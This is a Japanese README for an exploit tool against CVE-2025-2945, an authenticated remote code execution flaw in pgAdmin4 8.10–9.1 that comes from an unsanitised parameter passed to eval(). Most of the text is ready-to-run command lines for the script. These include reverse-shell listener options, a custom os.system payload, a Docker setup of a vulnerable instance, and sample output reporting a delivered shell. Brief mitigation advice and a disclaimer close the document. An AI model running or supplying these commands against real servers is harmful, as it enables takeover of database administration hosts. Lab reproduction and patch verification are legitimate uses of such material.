
バージョン8.10から9.1に影響するpgAdmin4のリモートコード実行(RCE)脆弱性に対するエクスプロイト。
作者: G0D150NE
バージョン: 2.0.0
CVE: CVE-2025-2945
深刻度: 重大 (CVSS 9.9)
バージョン 8.10〜9.1 に影響する pgAdmin4 リモートコード実行 (RCE) の脆弱性に対するエクスプロイトです。
この脆弱性は /sqleditor/query_tool/download エンドポイントに存在し、query_commited パラメータがサニタイズされずに Python の eval() 関数へ渡されるため、任意のコード実行が可能になります。
# Clone or download the script
git clone https://github.com/g0d150ne/CVE-2025-2945
cd CVE-2025-2945
# Install dependencies
pip install requests
基本的な使い方
python3 poc.py \
--target-url http://target:5050 \
--username [email protected] \
--password admin123 \
--db-user postgres \
--db-pass postgres \
--db-name postgres \
--Rhost 10.10.14.7 \
--Rport 4444
詳細出力付き
python3 poc.py \
--target-url http://target:5050 \
--username [email protected] \
--password admin123 \
--db-user postgres \
--db-pass postgres \
--db-name postgres \
--Rhost 10.10.14.7 \
--Rport 4444 \
-v
カスタムペイロード
python3 poc.py \
--target-url http://target:5050 \
--username [email protected] \
--password admin123 \
--db-user postgres \
--db-pass postgres \
--db-name postgres \
--Rhost 10.10.14.7 \
--Rport 4444 \
--custom-payload "__import__('os').system('whoami > /tmp/test.txt')"
バージョンチェックをスキップ
python3 poc.py \
--target-url http://target:5050 \
--username [email protected] \
--password admin123 \
--db-user postgres \
--db-pass postgres \
--db-name postgres \
--Rhost 10.10.14.7 \
--Rport 4444 \
--skip-version-check
引数 必須 説明 --target-url Yes pgAdmin4 のベースURL (http://RHOST:PORT/) --username Yes pgAdmin4 のログインメールアドレス --password Yes pgAdmin4 のログインパスワード --db-user Yes データベースのユーザー名 --db-pass Yes データベースのパスワード --db-name Yes データベース名 --Rhost Yes リバースシェル用リスナーのIPアドレス --Rport Yes リバースシェル用リスナーのポート --max-server-id No スキャンする最大サーバーID (デフォルト: 10) --skip-version-check No バージョン検証をスキップ --custom-payload No カスタムPythonペイロード --verbose, -v No デバッグ出力を有効化 --no-banner No バナーを非表示
· Python 3.6+ · requests ライブラリ
pip install requests
# Docker pgAdmin vulnerable version
docker run -d -p 5050:5050 \
-e [email protected] \
-e PGADMIN_DEFAULT_PASSWORD=admin123 \
dpage/pgadmin4:8.10
# Then run the exploit
python3 poc.py \
--target-url http://localhost:5050 \
--username [email protected] \
--password admin123 \
--db-user postgres \
--db-pass postgres \
--db-name postgres \
--Rhost 10.10.14.7 \
--Rport 4444
▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄
▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀▀▀
▐░▌ ▐░▌ ▐░▌▐░▌ ▐░▌▐░▌ ▐░▌
▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄█░▌▐░▌ ▐░▌▐░█▄▄▄▄▄▄▄▄▄ ▐░▌
▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌ ▐░▌▐░░░░░░░░░░░▌▐░▌
▀▀▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░▌ ▐░▌ ▀▀▀▀▀▀▀▀▀█░▌▐░▌
▐░▌▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌▐░▌
▄▄▄▄▄▄▄▄▄█░▌▐░▌ ▐░▌▐░█▄▄▄▄▄▄▄█░▌ ▄▄▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄▄▄
▐░░░░░░░░░░░▌▐░▌ ▐░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀
CVE-2025-2945 - pgAdmin4 Authenticated RCE
Author: G0D150NE
Version: 2.0.0
[*] Target running vulnerable version 8.10
[*] Authenticating as [email protected]...
[+] Authentication successful
[*] Scanning for valid server (SGID: 7, max: 10)...
[+] Found valid server (SGID: 7, SID: 1)
[*] Initializing SQL editor (trans_id: 4827193)...
[+] SQL editor initialized
[*] Reverse shell payload to 10.10.14.7:4444
[*] Sending payload...
[+] Payload delivered (HTTP 500)
[*] Check listener at your endpoint
[+] Exploit successful!
[*] Check reverse shell on 10.10.14.7:4444
· pgAdmin4 をバージョン 9.2 以降にアップグレードする · pgAdmin インターフェースへのアクセスを制限する · 強力な認証情報を使用する · 利用可能な場合は MFA を有効にする
このツールは、許可されたセキュリティテストおよび教育目的のみで使用してください。明示的な許可なくシステムに対して使用することは違法です。作者は、いかなる不正使用についても責任を負いません。
· CVE-2025-2945 · pgAdmin セキュリティアドバイザリ
MIT ライセンス